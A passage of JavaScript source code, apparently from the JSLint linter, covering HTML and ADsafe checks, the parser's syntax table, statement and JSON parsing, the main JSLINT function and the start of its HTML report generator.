if (!nexttoken.identifier && nexttoken.value !== 'style') {
warning("Expected '{a}' and instead saw '{b}'.",
nexttoken, 'style', nexttoken.value);
}
advance();
xmode = 'outer';
break;
case 'input':
switch (a.type) {
case 'radio':
case 'checkbox':
case 'text':
case 'button':
case 'file':
case 'reset':
case 'submit':
case 'password':
case 'file':
case 'hidden':
case 'image':
break;
default:
warning("Bad input type.");
}
if (option.adsafe && a.autocomplete !== 'off') {
warning("ADsafe autocomplete violation.");
}
break;
case 'applet':
case 'body':
case 'embed':
case 'frame':
case 'frameset':
case 'head':
case 'iframe':
case 'img':
case 'noembed':
case 'noframes':
case 'object':
case 'param':
if (option.adsafe) {
warning("ADsafe violation: Disallowed tag: " + n);
}
break;
}
}
function closetag(n) {
return '</' + n + '>';
}
function html() {
var a, attributes, e, n, q, t, v, w = option.white, wmode;
xmode = 'html';
xquote = '';
stack = null;
for (;;) {
switch (nexttoken.value) {
case '<':
xmode = 'html';
advance('<');
attributes = {};
t = nexttoken;
if (!t.identifier) {
warning("Bad identifier {a}.", t, t.value);
}
n = t.value;
if (option.cap) {
n = n.toLowerCase();
}
t.name = n;
advance();
if (!stack) {
stack = [];
doBegin(n);
}
v = htmltag[n];
if (typeof v !== 'object') {
error("Unrecognized tag '<{a}>'.", t, n);
}
e = v.empty;
t.type = n;
for (;;) {
if (nexttoken.id === '/') {
advance('/');
if (nexttoken.id !== '>') {
warning("Expected '{a}' and instead saw '{b}'.",
nexttoken, '>', nexttoken.value);
}
break;
}
if (nexttoken.id && nexttoken.id.substr(0, 1) === '>') {
break;
}
if (!nexttoken.identifier) {
if (nexttoken.id === '(end)' || nexttoken.id === '(error)') {
error("Missing '>'.", nexttoken);
}
warning("Bad identifier.");
}
option.white = true;
nonadjacent(token, nexttoken);
a = nexttoken.value;
option.white = w;
advance();
if (!option.cap && a !== a.toLowerCase()) {
warning("Attribute '{a}' not all lower case.", nexttoken, a);
}
a = a.toLowerCase();
xquote = '';
if (attributes.hasOwnProperty(a)) {
warning("Attribute '{a}' repeated.", nexttoken, a);
}
if (a.slice(0, 2) === 'on') {
if (!option.on) {
warning("Avoid HTML event handlers.");
}
xmode = 'scriptstring';
advance('=');
q = nexttoken.id;
if (q !== '"' && q !== "'") {
error("Missing quote.");
}
xquote = q;
wmode = option.white;
option.white = false;
advance(q);
statements('on');
option.white = wmode;
if (nexttoken.id !== q) {
error("Missing close quote on script attribute.");
}
xmode = 'html';
xquote = '';
advance(q);
v = false;
} else if (a === 'style') {
xmode = 'scriptstring';
advance('=');
q = nexttoken.id;
if (q !== '"' && q !== "'") {
error("Missing quote.");
}
xmode = 'styleproperty';
xquote = q;
advance(q);
substyle();
xmode = 'html';
xquote = '';
advance(q);
v = false;
} else {
if (nexttoken.id === '=') {
advance('=');
v = nexttoken.value;
if (!nexttoken.identifier &&
nexttoken.id !== '"' &&
nexttoken.id !== '\'' &&
nexttoken.type !== '(string)' &&
nexttoken.type !== '(number)' &&
nexttoken.type !== '(color)') {
warning("Expected an attribute value and instead saw '{a}'.", token, a);
}
advance();
} else {
v = true;
}
}
attributes[a] = v;
doAttribute(n, a, v);
}
doTag(n, attributes);
if (!e) {
stack.push(t);
}
xmode = 'outer';
advance('>');
break;
case '</':
xmode = 'html';
advance('</');
if (!nexttoken.identifier) {
warning("Bad identifier.");
}
n = nexttoken.value;
if (option.cap) {
n = n.toLowerCase();
}
advance();
if (!stack) {
error("Unexpected '{a}'.", nexttoken, closetag(n));
}
t = stack.pop();
if (!t) {
error("Unexpected '{a}'.", nexttoken, closetag(n));
}
if (t.name !== n) {
error("Expected '{a}' and instead saw '{b}'.",
nexttoken, closetag(t.name), closetag(n));
}
if (nexttoken.id !== '>') {
error("Missing '{a}'.", nexttoken, '>');
}
xmode = 'outer';
advance('>');
break;
case '<!':
if (option.safe) {
warning("ADsafe HTML violation.");
}
xmode = 'html';
for (;;) {
advance();
if (nexttoken.id === '>' || nexttoken.id === '(end)') {
break;
}
if (nexttoken.id === '--') {
warning("Unexpected --.");
}
}
xmode = 'outer';
advance('>');
break;
case '<!--':
xmode = 'html';
if (option.safe) {
warning("ADsafe HTML violation.");
}
for (;;) {
advance();
if (nexttoken.id === '(end)') {
error("Missing '-->'.");
}
if (nexttoken.id === '<!' || nexttoken.id === '<!--') {
error("Unexpected '<!' in HTML comment.");
}
if (nexttoken.id === '--') {
advance('--');
break;
}
}
abut();
xmode = 'outer';
advance('>');
break;
case '(end)':
return;
default:
if (nexttoken.id === '(end)') {
error("Missing '{a}'.", nexttoken,
'</' + stack[stack.length - 1].value + '>');
} else {
advance();
}
}
if (stack && stack.length === 0 && (option.adsafe ||
!option.fragment || nexttoken.id === '(end)')) {
break;
}
}
if (nexttoken.id !== '(end)') {
error("Unexpected material after the end.");
}
}
// Build the syntax table by declaring the syntactic elements of the language.
type('(number)', idValue);
type('(string)', idValue);
syntax['(identifier)'] = {
type: '(identifier)',
lbp: 0,
identifier: true,
nud: function () {
var v = this.value,
s = scope[v];
if (typeof s === 'function') {
s = false;
}
// The name is in scope and defined in the current function.
if (s && (s === funct || s === funct['(global)'])) {
// If we are not also in the global scope, change 'unused' to 'var',
// and reject labels.
if (!funct['(global)']) {
switch (funct[v]) {
case 'unused':
funct[v] = 'var';
break;
case 'label':
warning("'{a}' is a statement label.", token, v);
break;
}
}
// The name is not defined in the function. If we are in the global scope,
// then we have an undefined variable.
} else if (funct['(global)']) {
if (option.undef) {
warning("'{a}' is not defined.", token, v);
}
note_implied(token);
// If the name is already defined in the current
// function, but not as outer, then there is a scope error.
} else {
switch (funct[v]) {
case 'closure':
case 'function':
case 'var':
case 'unused':
warning("'{a}' used out of scope.", token, v);
break;
case 'label':
warning("'{a}' is a statement label.", token, v);
break;
case 'outer':
case true:
break;
default:
// If the name is defined in an outer function, make an outer entry, and if
// it was unused, make it var.
if (s === true) {
funct[v] = true;
} else if (typeof s !== 'object') {
if (option.undef) {
warning("'{a}' is not defined.", token, v);
} else {
funct[v] = true;
}
note_implied(token);
} else {
switch (s[v]) {
case 'function':
case 'var':
case 'unused':
s[v] = 'closure';
funct[v] = 'outer';
break;
case 'closure':
case 'parameter':
funct[v] = 'outer';
break;
case 'label':
warning("'{a}' is a statement label.", token, v);
}
}
}
}
return this;
},
led: function () {
error("Expected an operator and instead saw '{a}'.",
nexttoken, nexttoken.value);
}
};
type('(regexp)', function () {
return this;
});
delim('(endline)');
delim('(begin)');
delim('(end)').reach = true;
delim('</').reach = true;
delim('<!');
delim('<!--');
delim('-->');
delim('(error)').reach = true;
delim('}').reach = true;
delim(')');
delim(']');
delim('"').reach = true;
delim("'").reach = true;
delim(';');
delim(':').reach = true;
delim(',');
delim('#');
delim('@');
reserve('else');
reserve('case').reach = true;
reserve('catch');
reserve('default').reach = true;
reserve('finally');
reservevar('arguments');
reservevar('eval');
reservevar('false');
reservevar('Infinity');
reservevar('NaN');
reservevar('null');
reservevar('this');
reservevar('true');
reservevar('undefined');
assignop('=', 'assign', 20);
assignop('+=', 'assignadd', 20);
assignop('-=', 'assignsub', 20);
assignop('*=', 'assignmult', 20);
assignop('/=', 'assigndiv', 20).nud = function () {
error("A regular expression literal can be confused with '/='.");
};
assignop('%=', 'assignmod', 20);
bitwiseassignop('&=', 'assignbitand', 20);
bitwiseassignop('|=', 'assignbitor', 20);
bitwiseassignop('^=', 'assignbitxor', 20);
bitwiseassignop('<<=', 'assignshiftleft', 20);
bitwiseassignop('>>=', 'assignshiftright', 20);
bitwiseassignop('>>>=', 'assignshiftrightunsigned', 20);
infix('?', function (left) {
this.left = left;
this.right = parse(10);
advance(':');
this['else'] = parse(10);
return this;
}, 30);
infix('||', 'or', 40);
infix('&&', 'and', 50);
bitwise('|', 'bitor', 70);
bitwise('^', 'bitxor', 80);
bitwise('&', 'bitand', 90);
relation('==', function (left, right) {
if (option.eqeqeq) {
warning("Expected '{a}' and instead saw '{b}'.",
this, '===', '==');
} else if (isPoorRelation(left)) {
warning("Use '{a}' to compare with '{b}'.",
this, '===', left.value);
} else if (isPoorRelation(right)) {
warning("Use '{a}' to compare with '{b}'.",
this, '===', right.value);
}
return this;
});
relation('===');
relation('!=', function (left, right) {
if (option.eqeqeq) {
warning("Expected '{a}' and instead saw '{b}'.",
this, '!==', '!=');
} else if (isPoorRelation(left)) {
warning("Use '{a}' to compare with '{b}'.",
this, '!==', left.value);
} else if (isPoorRelation(right)) {
warning("Use '{a}' to compare with '{b}'.",
this, '!==', right.value);
}
return this;
});
relation('!==');
relation('<');
relation('>');
relation('<=');
relation('>=');
bitwise('<<', 'shiftleft', 120);
bitwise('>>', 'shiftright', 120);
bitwise('>>>', 'shiftrightunsigned', 120);
infix('in', 'in', 120);
infix('instanceof', 'instanceof', 120);
infix('+', function (left) {
nonadjacent(prevtoken, token);
nonadjacent(token, nexttoken);
var right = parse(130);
if (left && right && left.id === '(string)' && right.id === '(string)') {
left.value += right.value;
left.character = right.character;
if (jx.test(left.value)) {
warning("JavaScript URL.", left);
}
return left;
}
this.left = left;
this.right = right;
return this;
}, 130);
prefix('+', 'num');
infix('-', 'sub', 130);
prefix('-', 'neg');
infix('*', 'mult', 140);
infix('/', 'div', 140);
infix('%', 'mod', 140);
suffix('++', 'postinc');
prefix('++', 'preinc');
syntax['++'].exps = true;
suffix('--', 'postdec');
prefix('--', 'predec');
syntax['--'].exps = true;
prefix('delete', function () {
var p = parse(0);
if (p.id !== '.' && p.id !== '[') {
warning("Expected '{a}' and instead saw '{b}'.",
nexttoken, '.', nexttoken.value);
}
}).exps = true;
prefix('~', function () {
if (option.bitwise) {
warning("Unexpected '{a}'.", this, '~');
}
parse(150);
return this;
});
prefix('!', 'not');
prefix('typeof', 'typeof');
prefix('new', function () {
var c = parse(155), i;
if (c && c.id !== 'function') {
if (c.identifier) {
c['new'] = true;
switch (c.value) {
case 'Object':
warning("Use the object literal notation {}.", token);
break;
case 'Array':
warning("Use the array literal notation [].", token);
break;
case 'Number':
case 'String':
case 'Boolean':
case 'Math':
warning("Do not use {a} as a constructor.", token, c.value);
break;
case 'Function':
if (!option.evil) {
warning("The Function constructor is eval.");
}
break;
case 'Date':
case 'RegExp':
break;
default:
if (c.id !== 'function') {
i = c.value.substr(0, 1);
if (option.newcap && (i < 'A' || i > 'Z')) {
warning(
"A constructor name should start with an uppercase letter.",
token);
}
}
}
} else {
if (c.id !== '.' && c.id !== '[' && c.id !== '(') {
warning("Bad constructor.", token);
}
}
} else {
warning("Weird construction. Delete 'new'.", this);
}
adjacent(token, nexttoken);
if (nexttoken.id !== '(') {
warning("Missing '()' invoking a constructor.");
}
this.first = c;
return this;
});
syntax['new'].exps = true;
infix('.', function (left) {
adjacent(prevtoken, token);
var t = this, m = identifier();
if (typeof m === 'string') {
countMember(m);
}
t.left = left;
t.right = m;
if (!option.evil && left && left.value === 'document' &&
(m === 'write' || m === 'writeln')) {
warning("document.write can be a form of eval.", left);
}
if (option.adsafe) {
if (left && left.value === 'ADSAFE') {
if (m === 'id' || m === 'lib') {
warning("ADsafe violation.", this);
} else if (m === 'go') {
if (xmode !== 'script') {
warning("ADsafe violation.", this);
} else if (adsafe_went || nexttoken.id !== '(' ||
peek(0).id !== '(string)' ||
peek(0).value !== adsafe_id ||
peek(1).id !== ',') {
error("ADsafe violation: go.", this);
}
adsafe_went = true;
adsafe_may = false;
}
}
}
if (option.safe) {
for (;;) {
if (banned[m] === true) {
warning("ADsafe restricted word '{a}'.", token, m);
}
if (predefined[left.value] !== true ||
nexttoken.id === '(') {
break;
}
if (standard_member[m] === true) {
if (nexttoken.id === '.') {
warning("ADsafe violation.", this);
}
break;
}
if (nexttoken.id !== '.') {
warning("ADsafe violation.", this);
break;
}
advance('.');
token.left = t;
token.right = m;
t = token;
m = identifier();
if (typeof m === 'string') {
countMember(m);
}
}
}
return t;
}, 160);
infix('(', function (left) {
adjacent(prevtoken, token);
nospace();
var n = 0,
p = [];
if (left) {
if (left.type === '(identifier)') {
if (left.value.match(/^[A-Z]([A-Z0-9_$]*[a-z][A-Za-z0-9_$]*)?$/)) {
if (left.value !== 'Number' && left.value !== 'String' &&
left.value !== 'Boolean' && left.value !== 'Date') {
if (left.value === 'Math') {
warning("Math is not a function.", left);
} else if (option.newcap) {
warning("Missing 'new' prefix when invoking a constructor.",
left);
}
}
}
} else if (left.id === '.') {
if (option.safe && left.left.value === 'Math' &&
left.right === 'random') {
warning("ADsafe violation.", left);
}
}
}
if (nexttoken.id !== ')') {
for (;;) {
p[p.length] = parse(10);
n += 1;
if (nexttoken.id !== ',') {
break;
}
advance(',');
nonadjacent(token, nexttoken);
}
}
advance(')');
if (option.immed && left.id === 'function' && nexttoken.id !== ')') {
warning("Wrap the entire immediate function invocation in parens.",
this);
}
nospace(prevtoken, token);
if (typeof left === 'object') {
if (left.value === 'parseInt' && n === 1) {
warning("Missing radix parameter.", left);
}
if (!option.evil) {
if (left.value === 'eval' || left.value === 'Function' ||
left.value === 'execScript') {
warning("eval is evil.", left);
} else if (p[0] && p[0].id === '(string)' &&
(left.value === 'setTimeout' ||
left.value === 'setInterval')) {
warning(
"Implied eval is evil. Pass a function instead of a string.", left);
}
}
if (!left.identifier && left.id !== '.' && left.id !== '[' &&
left.id !== '(' && left.id !== '&&' && left.id !== '||' &&
left.id !== '?') {
warning("Bad invocation.", left);
}
}
this.left = left;
return this;
}, 155).exps = true;
prefix('(', function () {
nospace();
var v = parse(0);
advance(')', this);
nospace(prevtoken, token);
if (option.immed && v.id === 'function') {
if (nexttoken.id === '(') {
warning(
"Move the invocation into the parens that contain the function.", nexttoken);
} else {
warning(
"Do not wrap function literals in parens unless they are to be immediately invoked.",
this);
}
}
return v;
});
infix('[', function (left) {
nospace();
var e = parse(0), s;
if (e && e.type === '(string)') {
if (option.safe && banned[e.value] === true) {
warning("ADsafe restricted word '{a}'.", this, e.value);
}
countMember(e.value);
if (!option.sub && ix.test(e.value)) {
s = syntax[e.value];
if (!s || !s.reserved) {
warning("['{a}'] is better written in dot notation.",
e, e.value);
}
}
} else if (!e || (e.type !== '(number)' &&
(e.id !== '+' || e.arity !== 'unary'))) {
if (option.safe) {
warning('ADsafe subscripting.');
}
}
advance(']', this);
nospace(prevtoken, token);
this.left = left;
this.right = e;
return this;
}, 160);
prefix('[', function () {
if (nexttoken.id === ']') {
advance(']');
return;
}
var b = token.line !== nexttoken.line;
if (b) {
indent += option.indent;
if (nexttoken.from === indent + option.indent) {
indent += option.indent;
}
}
for (;;) {
if (b && token.line !== nexttoken.line) {
indentation();
}
parse(10);
if (nexttoken.id === ',') {
adjacent(token, nexttoken);
advance(',');
if (nexttoken.id === ',') {
warning("Extra comma.", token);
} else if (nexttoken.id === ']') {
warning("Extra comma.", token);
break;
}
nonadjacent(token, nexttoken);
} else {
if (b) {
indent -= option.indent;
indentation();
}
break;
}
}
advance(']', this);
return;
}, 160);
(function (x) {
x.nud = function () {
var b, i, s, seen = {};
b = token.line !== nexttoken.line;
if (b) {
indent += option.indent;
if (nexttoken.from === indent + option.indent) {
indent += option.indent;
}
}
for (;;) {
if (nexttoken.id === '}') {
break;
}
if (b) {
indentation();
}
i = optionalidentifier(true);
if (!i) {
if (nexttoken.id === '(string)') {
i = nexttoken.value;
if (ix.test(i)) {
s = syntax[i];
}
advance();
} else if (nexttoken.id === '(number)') {
i = nexttoken.value.toString();
advance();
} else {
error("Expected '{a}' and instead saw '{b}'.",
nexttoken, '}', nexttoken.value);
}
}
if (seen[i] === true) {
warning("Duplicate member '{a}'.", nexttoken, i);
}
seen[i] = true;
countMember(i);
advance(':');
nonadjacent(token, nexttoken);
parse(10);
if (nexttoken.id === ',') {
adjacent(token, nexttoken);
advance(',');
if (nexttoken.id === ',' || nexttoken.id === '}') {
warning("Extra comma.", token);
}
nonadjacent(token, nexttoken);
} else {
break;
}
}
if (b) {
indent -= option.indent;
indentation();
}
advance('}', this);
return;
};
x.fud = function () {
error("Expected to see a statement and instead saw a block.", token);
};
}(delim('{')));
function varstatement(prefix) {
// JavaScript does not have block scope. It only has function scope. So,
// declaring a variable in a block can have unexpected consequences.
if (funct['(onevar)'] && option.onevar) {
warning("Too many var statements.");
} else if (!funct['(global)']) {
funct['(onevar)'] = true;
}
for (;;) {
nonadjacent(token, nexttoken);
addlabel(identifier(), 'unused');
if (prefix) {
return;
}
if (nexttoken.id === '=') {
nonadjacent(token, nexttoken);
advance('=');
nonadjacent(token, nexttoken);
if (peek(0).id === '=') {
error("Variable {a} was not declared correctly.",
nexttoken, nexttoken.value);
}
parse(20);
}
if (nexttoken.id !== ',') {
return;
}
adjacent(token, nexttoken);
advance(',');
nonadjacent(token, nexttoken);
}
}
stmt('var', varstatement);
stmt('new', function () {
error("'new' should not be used as a statement.");
});
function functionparams() {
var i, t = nexttoken, p = [];
advance('(');
nospace();
if (nexttoken.id === ')') {
advance(')');
nospace(prevtoken, token);
return;
}
for (;;) {
i = identifier();
p.push(i);
addlabel(i, 'parameter');
if (nexttoken.id === ',') {
advance(',');
nonadjacent(token, nexttoken);
} else {
advance(')', t);
nospace(prevtoken, token);
return p.join(', ');
}
}
}
function doFunction(i) {
var s = scope;
scope = Object.create(s);
funct = {
'(name)' : i || '"' + anonname + '"',
'(line)' : nexttoken.line + 1,
'(context)' : funct,
'(breakage)': 0,
'(loopage)' : 0,
'(scope)' : scope
};
token.funct = funct;
functions.push(funct);
if (i) {
addlabel(i, 'function');
}
funct['(params)'] = functionparams();
block(false);
scope = s;
funct = funct['(context)'];
}
blockstmt('function', function () {
if (inblock) {
warning(
"Function statements cannot be placed in blocks. Use a function expression or move the statement to the top of the outer function.", token);
}
var i = identifier();
adjacent(token, nexttoken);
addlabel(i, 'unused');
doFunction(i);
if (nexttoken.id === '(' && nexttoken.line === token.line) {
error(
"Function statements are not invocable. Wrap the whole function invocation in parens.");
}
});
prefix('function', function () {
var i = optionalidentifier();
if (i) {
adjacent(token, nexttoken);
} else {
nonadjacent(token, nexttoken);
}
doFunction(i);
if (funct['(loopage)'] && nexttoken.id !== '(') {
warning("Be careful when making functions within a loop. Consider putting the function in a closure.");
}
return this;
});
blockstmt('if', function () {
var t = nexttoken;
advance('(');
nonadjacent(this, t);
nospace();
parse(20);
if (nexttoken.id === '=') {
warning("Expected a conditional expression and instead saw an assignment.");
advance('=');
parse(20);
}
advance(')', t);
nospace(prevtoken, token);
block(true);
if (nexttoken.id === 'else') {
nonadjacent(token, nexttoken);
advance('else');
if (nexttoken.id === 'if' || nexttoken.id === 'switch') {
statement(true);
} else {
block(true);
}
}
return this;
});
blockstmt('try', function () {
var b, e, s;
if (option.adsafe) {
warning("ADsafe try violation.", this);
}
block(false);
if (nexttoken.id === 'catch') {
advance('catch');
nonadjacent(token, nexttoken);
advance('(');
s = scope;
scope = Object.create(s);
e = nexttoken.value;
if (nexttoken.type !== '(identifier)') {
warning("Expected an identifier and instead saw '{a}'.",
nexttoken, e);
} else {
addlabel(e, 'exception');
}
advance();
advance(')');
block(false);
b = true;
scope = s;
}
if (nexttoken.id === 'finally') {
advance('finally');
block(false);
return;
} else if (!b) {
error("Expected '{a}' and instead saw '{b}'.",
nexttoken, 'catch', nexttoken.value);
}
});
blockstmt('while', function () {
var t = nexttoken;
funct['(breakage)'] += 1;
funct['(loopage)'] += 1;
advance('(');
nonadjacent(this, t);
nospace();
parse(20);
if (nexttoken.id === '=') {
warning("Expected a conditional expression and instead saw an assignment.");
advance('=');
parse(20);
}
advance(')', t);
nospace(prevtoken, token);
block(true);
funct['(breakage)'] -= 1;
funct['(loopage)'] -= 1;
}).labelled = true;
reserve('with');
blockstmt('switch', function () {
var t = nexttoken,
g = false;
funct['(breakage)'] += 1;
advance('(');
nonadjacent(this, t);
nospace();
this.condition = parse(20);
advance(')', t);
nospace(prevtoken, token);
nonadjacent(token, nexttoken);
t = nexttoken;
advance('{');
nonadjacent(token, nexttoken);
indent += option.indent;
this.cases = [];
for (;;) {
switch (nexttoken.id) {
case 'case':
switch (funct['(verb)']) {
case 'break':
case 'case':
case 'continue':
case 'return':
case 'switch':
case 'throw':
break;
default:
warning(
"Expected a 'break' statement before 'case'.",
token);
}
indentation(-option.indent);
advance('case');
this.cases.push(parse(20));
g = true;
advance(':');
funct['(verb)'] = 'case';
break;
case 'default':
switch (funct['(verb)']) {
case 'break':
case 'continue':
case 'return':
case 'throw':
break;
default:
warning(
"Expected a 'break' statement before 'default'.",
token);
}
indentation(-option.indent);
advance('default');
g = true;
advance(':');
break;
case '}':
indent -= option.indent;
indentation();
advance('}', t);
if (this.cases.length === 1 || this.condition.id === 'true' ||
this.condition.id === 'false') {
warning("This 'switch' should be an 'if'.", this);
}
funct['(breakage)'] -= 1;
funct['(verb)'] = undefined;
return;
case '(end)':
error("Missing '{a}'.", nexttoken, '}');
return;
default:
if (g) {
switch (token.id) {
case ',':
error("Each value should have its own case label.");
return;
case ':':
statements();
break;
default:
error("Missing ':' on a case clause.", token);
}
} else {
error("Expected '{a}' and instead saw '{b}'.",
nexttoken, 'case', nexttoken.value);
}
}
}
}).labelled = true;
stmt('debugger', function () {
if (!option.debug) {
warning("All 'debugger' statements should be removed.");
}
});
stmt('do', function () {
funct['(breakage)'] += 1;
funct['(loopage)'] += 1;
block(true);
advance('while');
var t = nexttoken;
nonadjacent(token, t);
advance('(');
nospace();
parse(20);
if (nexttoken.id === '=') {
warning("Expected a conditional expression and instead saw an assignment.");
advance('=');
parse(20);
}
advance(')', t);
nospace(prevtoken, token);
funct['(breakage)'] -= 1;
funct['(loopage)'] -= 1;
}).labelled = true;
blockstmt('for', function () {
var s, t = nexttoken;
funct['(breakage)'] += 1;
funct['(loopage)'] += 1;
advance('(');
nonadjacent(this, t);
nospace();
if (peek(nexttoken.id === 'var' ? 1 : 0).id === 'in') {
if (nexttoken.id === 'var') {
advance('var');
varstatement(true);
} else {
advance();
}
advance('in');
parse(20);
advance(')', t);
s = block(true);
if (!option.forin && (s.length > 1 || typeof s[0] !== 'object' ||
s[0].value !== 'if')) {
warning("The body of a for in should be wrapped in an if statement to filter unwanted properties from the prototype.", this);
}
funct['(breakage)'] -= 1;
funct['(loopage)'] -= 1;
return this;
} else {
if (nexttoken.id !== ';') {
if (nexttoken.id === 'var') {
advance('var');
varstatement();
} else {
for (;;) {
parse(0, 'for');
if (nexttoken.id !== ',') {
break;
}
advance(',');
}
}
}
advance(';');
if (nexttoken.id !== ';') {
parse(20);
if (nexttoken.id === '=') {
warning("Expected a conditional expression and instead saw an assignment.");
advance('=');
parse(20);
}
}
advance(';');
if (nexttoken.id === ';') {
error("Expected '{a}' and instead saw '{b}'.",
nexttoken, ')', ';');
}
if (nexttoken.id !== ')') {
for (;;) {
parse(0, 'for');
if (nexttoken.id !== ',') {
break;
}
advance(',');
}
}
advance(')', t);
nospace(prevtoken, token);
block(true);
funct['(breakage)'] -= 1;
funct['(loopage)'] -= 1;
}
}).labelled = true;
stmt('break', function () {
var v = nexttoken.value;
if (funct['(breakage)'] === 0) {
warning("Unexpected '{a}'.", nexttoken, this.value);
}
nolinebreak(this);
if (nexttoken.id !== ';') {
if (token.line === nexttoken.line) {
if (funct[v] !== 'label') {
warning("'{a}' is not a statement label.", nexttoken, v);
} else if (scope[v] !== funct) {
warning("'{a}' is out of scope.", nexttoken, v);
}
advance();
}
}
reachable('break');
});
stmt('continue', function () {
var v = nexttoken.value;
if (funct['(breakage)'] === 0) {
warning("Unexpected '{a}'.", nexttoken, this.value);
}
nolinebreak(this);
if (nexttoken.id !== ';') {
if (token.line === nexttoken.line) {
if (funct[v] !== 'label') {
warning("'{a}' is not a statement label.", nexttoken, v);
} else if (scope[v] !== funct) {
warning("'{a}' is out of scope.", nexttoken, v);
}
advance();
}
}
reachable('continue');
});
stmt('return', function () {
nolinebreak(this);
if (nexttoken.id === '(regexp)') {
warning("Wrap the /regexp/ literal in parens to disambiguate the slash operator.");
}
if (nexttoken.id !== ';' && !nexttoken.reach) {
nonadjacent(token, nexttoken);
parse(20);
}
reachable('return');
});
stmt('throw', function () {
nolinebreak(this);
nonadjacent(token, nexttoken);
parse(20);
reachable('throw');
});
reserve('void');
// Superfluous reserved words
reserve('class');
reserve('const');
reserve('enum');
reserve('export');
reserve('extends');
reserve('float');
reserve('goto');
reserve('import');
reserve('let');
reserve('super');
function jsonValue() {
function jsonObject() {
var t = nexttoken;
advance('{');
if (nexttoken.id !== '}') {
for (;;) {
if (nexttoken.id === '(end)') {
error("Missing '}' to match '{' from line {a}.",
nexttoken, t.line + 1);
} else if (nexttoken.id === '}') {
warning("Unexpected comma.", token);
break;
} else if (nexttoken.id === ',') {
error("Unexpected comma.", nexttoken);
} else if (nexttoken.id !== '(string)') {
warning("Expected a string and instead saw {a}.",
nexttoken, nexttoken.value);
}
advance();
advance(':');
jsonValue();
if (nexttoken.id !== ',') {
break;
}
advance(',');
}
}
advance('}');
}
function jsonArray() {
var t = nexttoken;
advance('[');
if (nexttoken.id !== ']') {
for (;;) {
if (nexttoken.id === '(end)') {
error("Missing ']' to match '[' from line {a}.",
nexttoken, t.line + 1);
} else if (nexttoken.id === ']') {
warning("Unexpected comma.", token);
break;
} else if (nexttoken.id === ',') {
error("Unexpected comma.", nexttoken);
}
jsonValue();
if (nexttoken.id !== ',') {
break;
}
advance(',');
}
}
advance(']');
}
switch (nexttoken.id) {
case '{':
jsonObject();
break;
case '[':
jsonArray();
break;
case 'true':
case 'false':
case 'null':
case '(number)':
case '(string)':
advance();
break;
case '-':
advance('-');
if (token.character !== nexttoken.from) {
warning("Unexpected space after '-'.", token);
}
adjacent(token, nexttoken);
advance('(number)');
break;
default:
error("Expected a JSON value.", nexttoken);
}
}
// The actual JSLINT function itself.
var itself = function (s, o) {
var a, i;
JSLINT.errors = [];
predefined = Object.create(standard);
if (o) {
a = o.predef;
if (a instanceof Array) {
for (i = 0; i < a.length; i += 1) {
predefined[a[i]] = true;
}
}
if (o.adsafe) {
o.safe = true;
}
if (o.safe) {
o.browser = false;
o.css = false;
o.debug = false;
o.eqeqeq = true;
o.evil = false;
o.forin = false;
o.nomen = true;
o.on = false;
o.rhino = false;
o.safe = true;
o.sidebar = false;
o.strict = true;
o.sub = false;
o.undef = true;
o.widget = false;
predefined.Date = false;
predefined['eval'] = false;
predefined.Function = false;
predefined.Object = false;
predefined.ADSAFE = true;
predefined.lib = true;
}
option = o;
} else {
option = {};
}
option.indent = option.indent || 4;
adsafe_id = '';
adsafe_may = false;
adsafe_went = false;
approved = {};
if (option.approved) {
for (i = 0; i < option.approved.length; i += 1) {
approved[option.approved[i]] = option.approved[i];
}
}
approved.test = 'test'; ///////////////////////////////////////
tab = '';
for (i = 0; i < option.indent; i += 1) {
tab += ' ';
}
indent = 0;
global = Object.create(predefined);
scope = global;
funct = {
'(global)': true,
'(name)': '(global)',
'(scope)': scope,
'(breakage)': 0,
'(loopage)': 0
};
functions = [];
ids = {};
urls = [];
src = false;
xmode = false;
stack = null;
member = {};
membersOnly = null;
implied = {};
inblock = false;
lookahead = [];
jsonmode = false;
warnings = 0;
lex.init(s);
prereg = true;
prevtoken = token = nexttoken = syntax['(begin)'];
assume();
try {
advance();
if (nexttoken.value.charAt(0) === '<') {
html();
if (option.adsafe && !adsafe_went) {
warning("ADsafe violation: Missing ADSAFE.go.", this);
}
} else {
switch (nexttoken.id) {
case '{':
case '[':
option.laxbreak = true;
jsonmode = true;
jsonValue();
break;
case '@':
case '*':
case '#':
case '.':
case ':':
xmode = 'style';
advance();
if (token.id !== '@' || !nexttoken.identifier ||
nexttoken.value !== 'charset') {
error('A css file should begin with @charset "UTF-8";');
}
advance();
if (nexttoken.type !== '(string)' &&
nexttoken.value !== 'UTF-8') {
error('A css file should begin with @charset "UTF-8";');
}
advance();
advance(';');
styles();
break;
default:
if (option.adsafe && option.fragment) {
warning("ADsafe violation.", this);
}
statements('lib');
}
}
advance('(end)');
} catch (e) {
if (e) {
JSLINT.errors.push({
reason : e.message,
line : e.line || nexttoken.line,
character : e.character || nexttoken.from
}, null);
}
}
return JSLINT.errors.length === 0;
};
function to_array(o) {
var a = [], k;
for (k in o) {
if (o.hasOwnProperty(k)) {
a.push(k);
}
}
return a;
}
// Report generator.
itself.report = function (option, sep) {
var a = [], c, e, f, i, k, l, m = '', n, o = [], s, v,
cl, ex, va, un, ou, gl, la;
function detail(h, s, sep) {
if (s.length) {
o.push('<div><i>' + h + '</i> ' +
s.sort().join(sep || ', ') + '</div>');
}
}
s = to_array(implied);
k = JSLINT.errors.length;
if (k || s.length > 0) {
o.push('<div id=errors><i>Error:</i>');
if (s.length > 0) {
s.sort();
for (i = 0; i < s.length; i += 1) {
s[i] = '<code>' + s[i] + '</code> <i>' +
implied[s[i]].join(' ') +
'</i>';
}
o.push('<p><i>Implied global:</i> ' + s.join(', ') + '</p>');
c = true;
}
for (i = 0; i < k; i += 1) {
c = JSLINT.errors[i];
if (c) {
e = c.evidence || '';
o.push('<p>Problem' + (isFinite(c.line) ? ' at line ' + (c.line + 1) +
' character ' + (c.character + 1) : '') +
': ' + c.reason.entityify() +
'</p><p class=evidence>' +
(e && (e.length > 80 ? e.slice(0, 77) + '...' :
e).entityify()) + '</p>');
}
}
o.push('</div>');
if (!c) {
return o.join('');
}
}
if (!option) {
o.push('<br><div id=functions>');
if (urls.length > 0) {
detail("URLs<br>", urls, '<br>');
}
s = to_array(scope);
if (s.length === 0) {
if (jsonmode) {
if (k === 0) {
o.push('<p>JSON: good.</p>');
} else {
o.push('<p>JSON: bad.</p>');
}
} else {
o.push('<div><i>No new global variables introduced.</i></div>');
}
} else {
o.push('<div><i>Global</i> ' + s.sort().join(', ') + '</div>');
}
for (i = 0; i < functions.length; i += 1) {
f = functions[i];
cl = [];
ex = [];
va = [];
un = [];
ou = [];
